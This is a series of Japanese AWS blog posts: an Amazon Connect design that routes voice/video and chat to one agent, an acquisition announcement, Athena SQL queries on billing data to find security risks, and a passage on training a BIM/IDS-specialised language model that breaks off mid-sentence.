1. はじめに Amazon Connect Customer は音声/ビデオとチャットを個別のチャネルとしてサポートしており、それぞれ独自の API を備えています。ネイティブウィジェットやカスタムウィジェットを使う場合、各チャネルは独立して動作します。一般的なコンタクトセンターのシナリオではこれで十分です。 しかし、顧客とエージェントのやり取りが通話だけでは済まない場合はどうでしょうか？ たとえば、顧客がローン申請の最終手続きのために電話をかけてきたとします。エージェントは事前承認を確認しますが、顧客は書類を確認して署名する必要がありますが、郵送された書類はまだ届いていない状況です。エージェントは顧客に電話を切って郵便を待つよう伝えるか、別でチャットを開始するしかありません。複数のやり取り、異なるエージェント、場合によっては数日の遅延が発生します。 もし通話中にエージェントが書類を送信できたらどうでしょうか？ 顧客はその場で署名して返送できます。同じエージェント、同じやり取りで済ませられ、数日ではなく数分で完了することができるでしょう。 本記事ではこのような課題を扱います。音声/ビデオとチャットを統合し、シームレスな顧客体験を実現するソリューションを紹介します。 1.1. Amazon Connect Customer で実現できる理由 根本的な課題はシンプルです。ライブ通話中に顧客がエージェントとテキストメッセージやファイルをやり取りするにはどうすればよいか、ということです。 Amazon Connect Customer は必要な API とツールを提供しています。StartWebRTCContact API で音声・ビデオ通話を開始し、DescribeContact API でエージェントが応答した後のエージェント ID を取得できます。コンタクトフローは特定のエージェントにルーティングするための属性をサポートしており、チャットウィジェットは初期化時にコンタクト属性を受け取れるため、チャット開始時にアプリケーションからエージェント ID を渡せます。 これらの機能はいずれも新しいものではありません。新しいのは、それらを組み合わせる方法です。カスタム UI がアクティブな通話からエージェント ID を抽出し、チャットのルーティングロジックに渡します。チャット中も顧客は同じエージェントに接続されたままで、切断や別のキューでの待機は不要です。 1.2. ビジネス価値 1 回の顧客・エージェント間のやり取りでチャネルを統合することで、具体的な効果が得られます。 顧客にとって: コールバックや転送、別のキューでの待機が不要になります。先ほどのローンの顧客は、数日ではなく数分で申請を完了できます。 運用面: エージェントが顧客対応をエンドツーエンドで完結できます。重複作業、引き継ぎの手間、フォローアップタスクによるエージェントの負荷がなくなります。 コンプライアンス面: すべての音声・チャットのやり取りが 1 人のエージェント、1 人の顧客、1 つのケースに紐づきます。規制の厳しい業界では、チャネルをまたいだコンタクトレコードの紐づけにより監査が容易になります。 2. ソリューションのアーキテクチャ このソリューションは、カスタムフロントエンドを 3 つのレイヤー (ホスティングと配信、認証と認可、リアルタイム通信) で AWS サービスに接続します。 2.1. 概要 以下の手順は、図の番号付きラベルに対応しています。 ステップ 1 — 認証。顧客がユーザーインターフェースにログインします。フロントエンドが認証情報を Amazon Cognito ユーザープール に送信し、検証後に ID トークンが返されます。 ステップ 2 — 認可。フロントエンドが ID トークンを Amazon Cognito アイデンティティプール に渡し、 AWS STS の AssumeRoleWithWebIdentity を呼び出します。IAM ロールが Amazon Connect に対する最小権限を付与し、一時的な認証情報がフロントエンドに返されます。これは重要な設計上のポイントです。フロントエンドは長期間有効なシークレットを保持せず、すべての認証情報はスコープが限定され、短期間で失効します。 ステップ 3 — 音声・ビデオ通話。顧客が通話を開始します。フロントエンドは一時的な認証情報を使って StartWebRTCContact API を呼び出し、WebRTCQueueRouting コンタクトフローをトリガーします。このフローが対応可能なエージェントに通話を割り当て、 Amazon Chime SDK のミーティング設定を返します。フロントエンドは Chime SDK セッションを初期化し、リアルタイムの音声・ビデオストリームを管理します。同時に、フロントエンドは DescribeContact API を呼び出してアクティブなコンタクトからエージェント ID を取得し、ローカルに保存します。 ステップ 4 — 同じエージェントとのチャット。顧客がチャットを開くと、フロントエンドは保存済みのエージェント ID を Amazon Connect Customer チャットウィジェット に渡します。チャットウィジェットは Amazon Connect Customer のホストエンドポイントから読み込まれます。チャットコンタクトが ChatAgentRouting コンタクトフローをトリガーし、エージェント ID を使って通話中の同じエージェントに直接ルーティングします。このステップで、音声/ビデオとチャットが 1 人のエージェントに集約されます。やり取りが終了すると、フロントエンドは StopContact と DisconnectParticipant API を呼び出してセッションを適切に終了します。 2.2. フロントエンドコンポーネント ユーザーインターフェースは 5 つのコンポーネントで構成され、それぞれ異なる役割を担います。 Authentication State Manager は、Cognito ユーザープールのフローを通じてログインを処理し、ID トークンを生成します。 Credential Manager は、そのトークンを Amazon Connect Customer API にスコープされた一時的な AWS 認証情報と交換します。 Session Manager は通話のセッション全体を管理します。暗号化されたセッションコンテキストをローカルストレージに保存し、通話の開始を制御し、チャットウィジェットのルーティング先となるエージェント ID を取得します。 WebRTC Manager はリアルタイムメディアを管理します。StartWebRTCContact の呼び出し、Chime SDK セッションの初期化、音声/ビデオストリームの管理を行います。 Chat Widget は Amazon Connect Customer のホストエンドポイントから読み込まれます。Session Manager からエージェント ID を受け取り、チャットを同じエージェントにルーティングします。コンタクトの作成、WebSocket 接続、メッセージング、ファイル添付など、チャットのライフサイクル全体を処理します。 2.3. バックエンドサービス バックエンドは 3 つのレイヤーの AWS サービスで構成されています。 ホスティングと配信: Amazon CloudFront がセキュリティヘッダーとキャッシュを使って UI をグローバルに配信します。Amazon S3 に静的アセットを保存します。 認証と認可: Amazon Cognito ユーザープール、Amazon Cognito アイデンティティプール、AWS STS、IAM が連携します。フロントエンドには必要最小限の権限のみが付与されます。 コミュニケーション: リアルタイムのやり取りが行われるレイヤーです。StartWebRTCContact API が WebRTCQueueRouting フローをトリガーしてエージェントを割り当てます。API は Amazon Chime SDK の設定を返し、フロントエンドがリアルタイムの音声・ビデオを確立します。DescribeContact API でエージェント ID を取得し、ChatAgentRouting フローがチャットを同じエージェントにルーティングします。StopContact と DisconnectParticipant API でセッションをクリーンアップします。 3. 前提条件 デプロイには、以下の準備が必要です。 AWS アカウント ファイル添付が有効化 された Amazon Connect Customer インスタンス AWS CDK v2 のインストールと設定 Node.js v20.x 以降 適切な権限で設定された AWS CLI 4. ソリューションのデプロイとクリーンアップ ソリューション全体は AWS CDK アプリケーションとして GitHub リポジトリ にパッケージ化されています。このスタックは CloudFront、S3、Cognito、IAM ロール、Amazon Connect Customer コンタクトフローなど、すべてをプロビジョニングします。 README にリポジトリのクローン、依存関係のインストール、Connect インスタンスの設定、スタックのデプロイ、テストユーザーの作成、統合体験の検証まで、各手順が記載されています。 以下のステップバイステップのデプロイ手順に沿って進めてください。テストが完了したら、不要な課金を避けるためにすべてのリソースを削除してください。 5. まとめと次のステップ 本記事では、1 回の顧客・エージェント間のやり取りで、Amazon Connect の 1 人のエージェントを通じて音声/ビデオとチャットを統合する方法を紹介しました。この方法は StartWebRTCContact と DescribeContact API、コンタクトフローのルーティング、Amazon Chime SDK、標準のチャットウィジェット、Amazon Cognito と AWS STS による短期間有効な AWS 認証情報など、既存の機能を組み合わせたソリューションです。 これは 1 つのアプローチにすぎません。完全な柔軟性を求める場合は、音声/ビデオとチャットのカスタムウィジェットをゼロから構築することもできます。Amazon Connect API ( StartChatContact でチャットを開始、 CreateParticipantConnection で WebSocket 接続を確立、 SendMessage でメッセージング、 StartAttachmentUpload と CompleteAttachmentUpload でファイル共有) を使えば、すべてのインタラクションをきめ細かく制御できますが、実装の複雑さが増します。可能な限り Amazon Connect Customer の組み込み機能を活用し、必要な部分だけカスタマイズすることをお勧めします。 まず、書類への署名、ビジュアルトラブルシューティング、フォーム送信など、顧客がタスクを完了するために複数のタッチポイントを必要とするケースを特定しましょう。 GitHub リポジトリ からソリューションをデプロイし、実際に動作を確認してみてください。その後、1 つのチームと 1 つのユースケースでパイロットを実施し、導入前後の対応時間、初回解決率、顧客の手間の変化を測定しましょう。そのデータをもとに、ソリューションが自社のカスタマーサービス運用に適しているかを評価しましょう。 6. 関連資料 ソリューションの GitHub リポジトリ Amazon Connect Customer 管理者ガイド: アプリ内、ウェブ、ビデオ通話、画面共有機能のセットアップ Amazon Connect Customer StartWebRTCContact API Amazon Connect Customer DescribeContact API Amazon Chime SDK for JavaScript Amazon Cognito デベロッパーガイド Amazon Connect Customer 管理者ガイド: ウェブサイトにチャットユーザーインターフェースを追加する 著者について Ying Qian は、コンタクトセンター技術分野で 19 年以上の経験を持ち、ソリューションアーキテクト、テクニカルプロジェクトマネージャー、ICT リードエンジニア、オペレーションエンジニアなどの経験があります。AWS ではサービス担当ソリューションアーキテクトとして Amazon Connect Telephony & Resiliency SME チームをリードし、AWS Well-Architected Framework の原則に沿った Amazon Connect の導入を支援しています。仕事以外ではジョギング、家族とのアルプスハイキング、ボーデン湖での水泳を楽しんでいます。 Nelson Martinez はシドニーを拠点とする Applied AI シニアソリューションアーキテクトです。コンタクトセンター、ユニファイドコミュニケーション、IP テレフォニー、ネットワーキングの分野でオーストラリアと米国にまたがり 31 年以上の経験を持ちます。AWS で 5 年以上にわたり、クラウドコンタクトセンターと Applied AI ソリューションを専門とし、グローバル規模で業界をリードする実装を直接お客様と進めています。 翻訳はテクニカルアカウントマネージャーの高橋が担当しました。原文は こちら です。

新しいノーコード機能によって、ビジネスチームはエンジニアリングのボトルネックなく、AI を活用した高度なカスタマーエクスペリエンスを迅速に構築できます。エージェンティック AI の柔軟性と企業が求める信頼性を兼ね備えています。 NLX ( nlx.ai ) が Amazon Connect のチームに加わり、Connect のエージェンティック AI ソリューションの価値提供を加速します。NLX は高度な会話型 AI 機能を備えており、今回の買収により、企業が求めるコントロール性と信頼性を損なうことなく、AI を活用したカスタマーエクスペリエンスを数か月ではなく数週間で Connect にデプロイできるようになります。NLX のノーコードキャンバスを使えば、ビジネスチームはエンジニアリングリソースを待つことなく、Connect で的確なセルフサービス体験を設計・展開できます。そしてあらゆるチャネルでパーソナライズされた対話を提供し、顧客ロイヤルティを高める柔軟性を利用できます。 NLX チームの魅力 優秀な NLX チームの心強い点は、私たちのカルチャーとの一致です。NLX は、お客様に実際の成果を届けることへのこだわりで私たちと一致しています。ビジネスの迅速化、コントロール性の維持、優れたカスタマーエクスペリエンスの提供を実現するソリューションを構築してきた NLX の価値観は、Amazon のイノベーションへの取り組み方と一致しています。私たちは会話型 AI の展開における難しい課題の解決への情熱と、お客様中心のアプローチに感銘を受けています。 エンタープライズ規模での実績 United Airlines は 12 か月ではなく 3 か月で本番稼働を実現し、ある大手グローバル小売企業は 6 か月ではなく 6 週間でデプロイしました。いずれも例外的な事例ではなく、技術的なボトルネックを取り除き、お客様を最もよく理解するチームがデザインの主導権を持つことで実現できた成果です。 NLX チームの参加により、Amazon Connect のお客様にとって価値実現までの時間が短縮されます。企業は期待どおりのコントロール性と実績あるスケーラビリティを維持しながら、適切な体験をより迅速にデプロイできます。 詳細については、 Amazon Connect Customer をご覧ください。 翻訳はテクニカルアカウントマネージャーの高橋が担当しました。原文は こちら です。

AWS の請求書からわかるのは、支出パターンだけではありません。セキュリティ上の問題を特定することもできます。 AWS Cost and Usage Reports (CUR) には、 AWS Organizations 全体にわたる詳細な使用状況データが含まれており、コスト最適化の機会の発見、コストの配分、そして潜在的なセキュリティリスクの検出に活用できます。この記事では、AWS CUR を使用して環境内の潜在的なセキュリティ上の問題を特定する方法について説明します。潜在的なリスクの例と、それらがアカウント内に存在するかどうかを判断するために使用できる CUR データ内のマーカーを紹介します。 この記事の手順に沿って進めるには、AWS Organizations のプライマリ請求アカウント (※注) (または委任管理者アカウント) へのアクセス権があること、 Data Exports が設定された Cost and Usage Reports 2.0 が利用可能であること、そしてデータをクエリするための Amazon Athena へのアクセス権があることが必要です。 ※注：通常は管理アカウントですが、AWS Billing Transfer 利用時は異なる場合があります。 各セキュリティリスクについて、それが問題となる理由、検出方法、そして AWS 環境内の潜在的な問題を特定するために コンソールの Athena で CUR データに対して実行できる SQL クエリなどの詳細を提供します。CUR テーブル名と日付フィルターにはプレースホルダーとして ${table} と ${date-filter} を使用しています。これらの値の確認方法については、 CUR Query Library を参照してください。また、質問や発見事項がある場合は、自社のアーキテクチャを踏まえて検討できるよう、貴社のセキュリティチームにも相談してください。 リスク 1：暗号化されていない Amazon CloudFront トラフィック 問題点： Amazon CloudFront は、暗号化されたトラフィック (HTTPS) と暗号化されていないトラフィック (HTTP) の両方をサポートしています。HTTP をサポートするように設定されている場合、ユーザーと CloudFront ディストリビューション間のデータは保護されない状態で送信されます。このトラフィックを傍受した第三者は、データを読み取ったり改ざんしたりすることが可能です。 多くのコンプライアンスフレームワーク (PCI DSS、HIPAA、GDPR) では、転送中のデータの暗号化が求められています。暗号化されていないトラフィックは、コンプライアンス違反、データ侵害、そして顧客からの信頼の喪失につながる可能性があります。 検出方法： CUR は、HTTP トラフィックと HTTPS トラフィックを区別する特定の使用タイプコードを通じて、CloudFront の使用パターンを記録しています。HTTP トラフィックでは、region-Out-Bytes-HTTP-Static や region-Out-Bytes-HTTP-Dynamic のような料金が発生し、セキュアなトラフィックでは region-Out-Bytes-HTTPS-Static や region-Out-Bytes-HTTPS-Dynamic として表示されます。これらの HTTP 料金が存在する場合、ポリシー違反の可能性があることを示しており、調査が必要です。 以下のクエリを使用して、CloudFront ディストリビューション上の暗号化されていないトラフィックを特定できます。 SELECT line_item_resource_id, line_item_usage_type, product['region'] AS region, billing_period, SUM(line_item_usage_amount) AS total_usage_amount, SUM(line_item_unblended_cost) AS total_cost FROM ${table} WHERE product['product_name'] = 'Amazon CloudFront' AND ( line_item_usage_type LIKE '%HTTP-Static%' OR line_item_usage_type LIKE '%HTTP-Dynamic%' OR line_item_usage_type LIKE '%HTTP-Proxy%' ) AND line_item_usage_type NOT LIKE '%HTTPS%' AND line_item_unblended_cost > 0 AND billing_period = ${date-filter} GROUP BY 1, 2, 3, 4 ORDER BY total_cost DESC; このクエリの結果は、暗号化されていないトラフィックを実際に配信している CloudFront ディストリビューションを示します。line_item_resource_id を使用して CloudFront コンソールで該当するディストリビューションを見つけ、Viewer Protocol Policy を「Redirect HTTP to HTTPS」または「HTTPS Only」に更新してください。 リスク 2：承認されていないリージョンの使用 問題点： 組織は通常、データ所在地の要件、コンプライアンス規制、またはビジネスポリシーに基づいて、特定の承認されたリージョンで AWS リソースを運用しています。承認されていないリージョンにリソースが存在する場合、認証情報の漏洩や、従業員が確立されたポリシーを回避している可能性を示唆しており、調査が必要です。 検出方法： CUR は、各明細項目の product[‘region’] フィールドを通じてリージョン情報を記録しており、送信元-送信先-使用状況のパターン (例：USE1-TimedStorage-ByteHrs) に従うデータ転送コードを識別します。承認済みリスト外のリージョンでフィルタリングすることで、想定外のリソース使用を特定できます。なお、AWS CloudTrail など一部の AWS サービスは、設計上グローバルまたは複数リージョンにまたがって動作するため、この分析からは除外する必要があります。 以下のクエリを使用して、承認済みリスト外のリージョンで発生している料金を特定できます。クエリを実行する前に、NOT IN 句を更新して、組織で承認されているすべてのリージョン (例：’us-east-1’、’us-west-2’、’eu-west-1’、’global’) を含めてください。 SELECT CASE WHEN (bill_billing_entity = 'AWS Marketplace' AND line_item_line_item_type NOT LIKE '%Discount%') THEN product['product_name'] WHEN (product['product_name'] = '') THEN line_item_product_code ELSE product['product_name'] END AS product_name, CASE product['region'] WHEN NULL THEN 'Global' WHEN '' THEN 'Global' WHEN 'global' THEN 'Global' ELSE product['region'] END AS product_region, line_item_availability_zone, SUM(line_item_unblended_cost) AS sum_line_item_unblended_cost FROM ${table} WHERE billing_period = ${date-filter} AND line_item_line_item_type IN ('DiscountedUsage', 'Usage', 'SavingsPlanCoveredUsage') AND product['region'] NOT IN ('us-east-1', 'global') -- update with approved region list GROUP BY 1, line_item_product_code, line_item_availability_zone, product['region'] HAVING SUM(line_item_unblended_cost) > 0 ORDER BY product_region, sum_line_item_unblended_cost DESC; このクエリの結果は、承認されていないリージョンで稼働しているリソースを示しています。product_name と product_region の列を確認して、どのサービスがどこで実行されているかを特定してください。コストの高い項目は、暗号通貨のマイニングやその他の悪意のあるアクティビティを示している可能性があるため、優先的に調査してください。CloudTrail のログと照合して、これらのリソースを誰が作成したのか、そのアクティビティが承認されたものであったかどうかを確認してください。 リスク 3：Amazon CloudFront と Route 53 における保護されていない DDoS 攻撃対象領域 問題点： Amazon CloudFront と Amazon Route 53 は、DNS 解決とコンテンツ配信を大規模に処理する、ワークロードへの入り口となることが多いサービスです。その露出度の高さゆえに、ボリューム型 DDoS 攻撃の標的となります。 AWS Shield Advanced などのプロアクティブな DDoS 保護がない場合、組織は専用の DDoS 保護レイヤー、リアルタイムの攻撃通知、および AWS DDoS Response Team (DRT) へのアクセスを欠くことになります。この保護のギャップは、サービス停止、攻撃中のパフォーマンス低下、そしてダウンタイムによる潜在的な経済的損失につながる可能性があります。 検出方法： CUR は、このセキュリティギャップを、データの存在ではなく不在によって明らかにします。CloudFront と Route 53 の支出を算出し、同じ請求期間内に Shield Advanced の料金が存在するかどうかを確認することで、保護されていないインフラストラクチャを特定できます。CloudFront または Route 53 のコストが発生しているにもかかわらず、対応する Shield Advanced の支出がない場合、それらのディストリビューションには専用の DDoS 保護が欠けていることを意味します。 以下のクエリを使用して、Shield Advanced のカバレッジがないままの CloudFront/Route 53 の支出を検出できます。 WITH cloudfront_route53_spend AS ( SELECT billing_period, SUM(line_item_unblended_cost) AS exposed_spend FROM ${table} WHERE product['product_name'] IN ('Amazon CloudFront', 'Amazon Route 53') AND line_item_unblended_cost > 0 AND billing_period = ${date-filter} GROUP BY 1 ), shield_spend AS ( SELECT billing_period, SUM(line_item_unblended_cost) AS shield_cost FROM ${table} WHERE product['product_name'] = 'AWS Shield' AND line_item_unblended_cost > 0 AND billing_period = ${date-filter} GROUP BY 1 ) SELECT c.billing_period, c.exposed_spend AS cloudfront_route53_spend, COALESCE(s.shield_cost, 0) AS shield_advanced_spend, CASE WHEN COALESCE(s.shield_cost, 0) = 0 THEN 'No Shield Advanced - DDoS Protection Gap' ELSE 'Shield Advanced Active' END AS ddos_risk_status FROM cloudfront_route53_spend c LEFT JOIN shield_spend s ON c.billing_period = s.billing_period ORDER BY c.exposed_spend DESC; 結果に「No Shield Advanced – DDoS Protection Gap」と表示された場合、DDoS 保護なしで稼働している CloudFront または Route 53 のディストリビューションがあることを示しています。exposed_spend を確認して、AWS 環境全体で保護されていないインフラストラクチャとリソースを特定してください。リスク許容度と、DDoS 攻撃がオペレーションに与える潜在的な影響に基づいて、費用対効果を評価してください。特に機密データやビジネスクリティカルなアプリケーションを扱う重要なディストリビューションについては、AWS Shield Advanced の有効化を検討してください。 リスク 4：延長サポートが適用された古いソフトウェア 問題点： 延長サポートの料金 が発生しているということは、既知のセキュリティ上の脆弱性を含む古いバージョンのソフトウェアでシステムが稼働していることを示しています。標準サポートのライフサイクルを超えたレガシーソフトウェアバージョンの運用を続けている場合、割増料金 (100〜600% のコスト増加) を支払っているだけでなく、それらの古いバージョンには攻撃者が悪用可能なパッチ未適用の脆弱性が含まれている可能性もあります。3 年目以降の延長サポートは、延長サポート対象のリソースの重要度に応じて、即時の修復が必要となる可能性のある深刻なリスクがあることを示しています。延長サポートによる財務的な影響は、アップグレードの優先度を上げるべき明確なシグナルとしても捉えるべきです。 検出方法： CUR は、line_item_usage_type フィールドに「ExtendedSupport」パターンを含む延長サポート料金を記録します。これらの料金は請求データ内で個別の明細項目として表示されるため、容易に特定できます。使用タイプに ExtendedSupport を含む Usage 明細項目でフィルタリングすることで、脆弱性のある古いバージョンで稼働しているワークロードやリソースを正確に特定できます。コストの大きさもまた深刻度を示す指標となります。延長サポートのコストが高いほど、一般的にはより古いバージョンで稼働していることを意味し、より緊急な対応が求められます。以下のクエリを使用して、延長サポート料金が発生しているシステムを特定できます。 SELECT line_item_line_item_type, line_item_resource_id, line_item_usage_account_id, product['product_code'] AS product_code, line_item_operation, line_item_line_item_description, line_item_usage_type, billing_period, SUM(line_item_usage_amount) AS sum_line_item_usage_amount, SUM(line_item_unblended_cost) AS sum_line_item_unblended_cost FROM ${table} WHERE billing_period = ${date-filter} AND line_item_line_item_type = 'Usage' AND line_item_usage_type LIKE '%ExtendedSupport%' GROUP BY 1, 2, 3, 4, 5, 6, 7, 8 ORDER BY sum_line_item_unblended_cost DESC LIMIT 100; 延長サポート料金が表示された結果は、古く脆弱性のあるソフトウェアが存在しており、早急な対応が必要であることを示しています。line_item_line_item_description を確認して、具体的なリソースやワークロードを特定してください。コストへの影響とサポートティアに基づいてアップグレードの優先順位を決定してください。たとえば、長期 (3 年以上) の延長サポートは重大なリスクを伴う可能性があり、移行計画の推進に役立てることができます。 リスク 5：異常なデータ転送コスト 問題点： データ転送料金の急増は、セキュリティ上の問題を示している可能性があります。攻撃者が AWS 環境を侵害した場合、大量のデータを窃取 (持ち出し) しようとしたり、外部のコマンド＆コントロール (C&C) サーバーと通信するためにリソースを悪用したりすることがよくあります。これらのアクティビティは、請求データ上でコストの異常として現れる、通常とは異なるデータ転送パターンを生み出します。 検出方法： CUR は、lineItem/UsageType フィールドを通じて詳細なデータ転送情報を記録しています。このフィールドにより、アウトバウンドインターネットトラフィック (DataTransfer-Out-Bytes)、リージョン間転送 (AWS-Out-Bytes)、アベイラビリティゾーン間トラフィック (DataTransfer-Regional-Bytes) など、さまざまな種類のデータ移動を識別できます。これらのパターンを時系列で分析し、ベースラインの使用状況と比較することで、調査が必要な不審な急増を特定できます。 以下のクエリを使用して、セキュリティ上の問題を示す可能性のあるデータ転送コストとパターンを特定できます。 SELECT line_item_usage_account_id, line_item_resource_id, product['region'] as region, line_item_usage_type, product_product_family, line_item_operation, product_from_location, product_to_location, pricing_unit, DATE_FORMAT(line_item_usage_start_date, '%Y-%m-%d') AS usage_date, ROUND(SUM(line_item_usage_amount), 2) AS total_gb, ROUND(SUM(line_item_unblended_cost), 2) AS total_cost FROM ${table} WHERE product_product_family = 'Data Transfer' AND line_item_line_item_type = 'Usage' AND ( line_item_usage_type LIKE '%DataTransfer-Out-Bytes%' OR line_item_usage_type LIKE '%DataTransfer-Regional-Bytes%' OR line_item_usage_type LIKE '%AWS-Out-Bytes%' ) AND billing_period = ${date-filter} GROUP BY 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 ORDER BY total_cost DESC, total_gb DESC; この結果で大幅なコスト増加や通常とは異なる転送パターンが示された場合は調査が必要です。他のリスクほど単純に潜在的なリスクを判断できるものではないため、このデータについては必ず開発チームと連携して確認してください。確認すべき主なフィールドは以下のとおりです。 line_item_resource_id： データ転送を発生させている特定の AWS リソース (EC2 インスタンス、S3 バケットなど) を識別します total_gb： 転送されたデータ量 — 急激な増加は調査が必要です total_cost： 転送アクティビティによる財務的な影響 product_from_locationとproduct_to_location： 転送元と転送先のリージョン line_item_resource_id を既知のリソースと照合して、承認されていないインスタンスや侵害されたインスタンスがないかを確認してください。さらに詳しく調査するには、これらの結果を VPC Flow Logs や CloudTrail と関連付けて、データ転送の急増に関連する具体的なネットワーク接続や API アクティビティを特定してください。 追加のプロアクティブなセキュリティ対策 ここまで、CUR を分析するために使用できるクエリの例をいくつか紹介してきましたが、セキュリティ上の問題を検出するために活用できる AWS サービスを使ったプロアクティブな対策もあります。 AWS Budgets は、突然の支出の急増を検出し、承認されていないリソースのプロビジョニングを示唆します。悪意のあるアクティビティの標的になりやすいコンピューティング集約型のサービスには、個別の予算を設定してください。 AWS Cost Anomaly Detection は、機械学習を使用して異常な支出パターンを自動的に検出します。1 日 3 回、24 時間の検出ウィンドウで実行されます。 Amazon GuardDuty は、行動分析とコストパターンを関連付けます。特に、不審なシステムコールとコンピューティングコストの急増を組み合わせることで、暗号通貨マイニングやその他の種類の分析を検出します。 AWS Security Hub は、コストベースの検出結果と従来のセキュリティアラートを一元化し、統合的に確認できるようにすることで調査時間を短縮します。予算アラートを GuardDuty の検出結果や Amazon Inspector の脆弱性評価と関連付けることで、包括的な脅威検出が可能になります。 今すぐ行動を開始しましょう 以下のステップから始めてください。 時間単位の粒度とリソースレベルのデータを含む AWS Cost and Usage Reports (CUR) を有効にする 前述の SQL クエリを使用して CUR データをクエリできるように Amazon Athena を設定する 厳しめのしきい値で Budgets と Anomaly Detection を設定する この記事で紹介したリスクを検出するためのクエリを実行する 検出結果を AWS Security Hub に統合し、セキュリティ管理を一元化する コストベースのセキュリティモニタリングは、財務的な痕跡を通じて脅威を検出することで、従来のセキュリティツールを補完します。経済的なインセンティブとセキュリティ要件が交わることで、より良いアーキテクチャへの改善を促す自然な力が生まれます。セキュリティ上の問題が目に見えるコストとして現れることで、組織はそれを修正する動機を得ると同時に、測定可能なセキュリティ指標も手に入れることができます。 セキュリティと FinOps のリーダーは協力して、コストベースのモニタリングを標準的なプラクティスとして確立すべきです。この記事で紹介したクエリは、すぐに実装できる手段を提供します。また、AWS のセキュリティサービスとの統合により、既存のオペレーションとの互換性も確保されます。AWS の請求データを、単なる財務レポートツールからセキュリティインテリジェンスプラットフォームへと変革しましょう。今こそ行動する時です。 Steph Gooch Steph は、シニア最適化ソリューションアーキテクトアドボケイトです。お客様が現在および将来の AWS 支出を最適化する方法をガイドする分野のエキスパートです。お客様が請求データと使用状況データを整理・分析し、そのデータから実行可能なインサイトを見出し、コスト意識を組織文化に根付かせるための持続可能な戦略を策定できるよう支援しています。前職では、Big Four の 1 社で FinOps チームを率いていました。 Mark Keating Markは、英国を拠点とするプリンシパルセキュリティソリューションアーキテクトで、グローバルのヘルスケア・ライフサイエンスおよび自動車業界のお客様と連携し、セキュリティとコンプライアンスの課題解決およびリスク低減を支援しています。オペレーション、ソリューション、エンタープライズアーキテクチャの各分野にわたり、20年以上のテクノロジー業界での経験を持っています。 翻訳はテクニカルアカウントマネージャーの堀沢が担当しました。 原文 はこちらです。

本ブログは ONESTRUCTION 株式会社様と Amazon Web Services Japan 合同会社が共同で執筆しました。GENIAC（Generative AI Accelerator Challenge）第 3 期の取り組みとして、ONESTRUCTION が AWS の Generative AI Innovation Center（以下、GenAIIC）から技術アドバイスを受けながら開発した、建設・BIM 特化型基盤モデル「Ishigaki-IDS」の開発事例をご紹介します。 背景 ONESTRUCTION 株式会社 （ note ） は、openBIM を中心に建設分野の課題解決に取り組む建設テックスタートアップです。建設業界の人手不足が続く中、設計・施工・維持管理の各段階で情報を一元的に扱える BIM（Building Information Modeling）の活用が、国レベルでも推進されています。一方で、BIM の導入や運用には専門知識が必要であり、習得コストの高さが普及の壁となっていました。 BIM モデル（IFC モデル）に対する情報の付与・照査の内容を定義する XML 形式の規格が IDS（Information Delivery Specifications）です。IDS の作成には、独自の文法に加えて IFC（Industry Foundation Classes）に関する知識やルールの理解が求められます。本プロジェクトでは、この専門知識の障壁を基盤モデルの力で下げ、BIM の専門家でなくても属性情報の確認と管理を行えるようにすることを目指しました。 課題 開発では主に 3 つの課題に直面しました。1 つ目はデータ不足です。IDS は 2024 年に公開された比較的新しい規格であり、建設業はもともと Web 上の公開情報が限られる領域です。金融・医療・法律のような主要ドメインでは数 B から数百 B トークン規模のコーパスが用いられることも珍しくない一方、IDS 領域ではそれに匹敵する量の公開データが存在しません。最新の Web コーパスを収集しても得られる情報はごく少量かつ浅いものにとどまり、大量のデータがなければモデルが IDS や関連情報を十分に学習できず、小手先のテクニックではカバーできない理解不足・精度不足に陥ります。2 つ目は数千規模の IFC 語彙の注入です。例えば「梁」は「IfcBeam」、「エアコン」は「IfcUnitaryEquipment」のように、建設領域の用語を IFC 上の語彙へ正確に対応付ける必要があります。従来は専門家が一つひとつ手作業で紐づけてきた知識を、モデル側に学習させなければなりません。3 つ目は IDS 独自文法の習得です。IDS は単なる XML ではなく、情報付与や確認の対象・記述内容に応じてタグ構造が変化する専用ルールを持ちます。繰り返しや専用タグの使い分けが求められるため、汎用の基盤モデルでは正確に生成することが難しい領域でした。 解決策 学習パイプライン 汎用言語性能とモデルサイズの選択肢を考慮し、Qwen3（8B / 14B / 32B）をベースに 3 段階の学習パイプラインで Ishigaki-IDS を開発しました。 継続事前学習（CPT）：Web コーパスに加え、社内のドメインエキスパートと協働して構築した大量の合成データを用い、IDS と IFC に関するドメイン知識をモデルに注入しました。具体的には、妥当性のある IDS を大量に生成するとともに、IDS 関連ドキュメントを多角的に説明する合成データセットを整備し、学習データの多くを合成で補いました。 教師ありファインチューニング（SFT）：CSV または自然言語による IDS 作成指示と、出力すべき IDS のペアデータでモデルを学習させ、IDS の「型」を安定して生成できるようにしました。SFT 単独では、XML タグの選択ミスや誤った属性値の付与など、それらしいが不正な生成が残ることが分かっており、後段の学習で補強する前提で設計しています。 検証可能な報酬による強化学習（RLVR）：国際標準団体 buildingSMART が提供する IDS-Audit-Tool を報酬関数に組み込みました。同ツールは XML としての整合性、IDS 形式としての妥当性、意味的な整合性の 3 観点を自動検証できるため、モデル自身が出力を試行し、機械的な正誤フィードバックを受けながら改善を重ねられます。RLVR は大量の教師データがなくても出力品質を洗練できるため、データが乏しい IDS 生成タスクとの相性が非常に良いと考えています。 アーキテクチャと評価 学習基盤は、Amazon EC2 P5en インスタンス（p5en.48xlarge × 2 ノード、NVIDIA H200 GPU 搭載）を AWS ParallelCluster でオーケストレーションし、学習データ・合成データ・チェックポイントは Amazon FSx for Lustre 上で高スループットに共有する構成としました。これにより、複数ノードでの分散学習と大容量データの並列アクセスを安定して回しています。評価軸は、社内の IDS 専門家と協働で独自ベンチマーク「IDS-Bench」として構築し、IFC バージョン × 建設分類（意匠／構造／設備／共通）× 言語（日本語／英語）× Implement／Structure／Content の多軸で、実業務に耐え得る精度を測定しました。 結果 開発した Ishigaki-IDS-8B と IDS-Bench は Hugging Face で公開しています。 Ishigaki-IDS-8B IDS-Bench 評価の結果、汎用フロンティアモデルでは十分に対応できないケースが多い一方、Ishigaki-IDS は IDS を適切に生成できることを確認しました。IDS が専門性の高い比較的新しい領域であるため、ドメイン特化モデルであれば解決可能な課題設定であったと考えられます。また、YaRN によるコンテキスト長スケーリングにも対応しており、最大 120k トークンほどの入出力でも問題なく生成できることを確認しました。buildingSMART と実施した実証実験でも、IDS の専門家・非専門家の双方から、業務への活用可能性や、曖昧な表現からでも意図通りの IDS 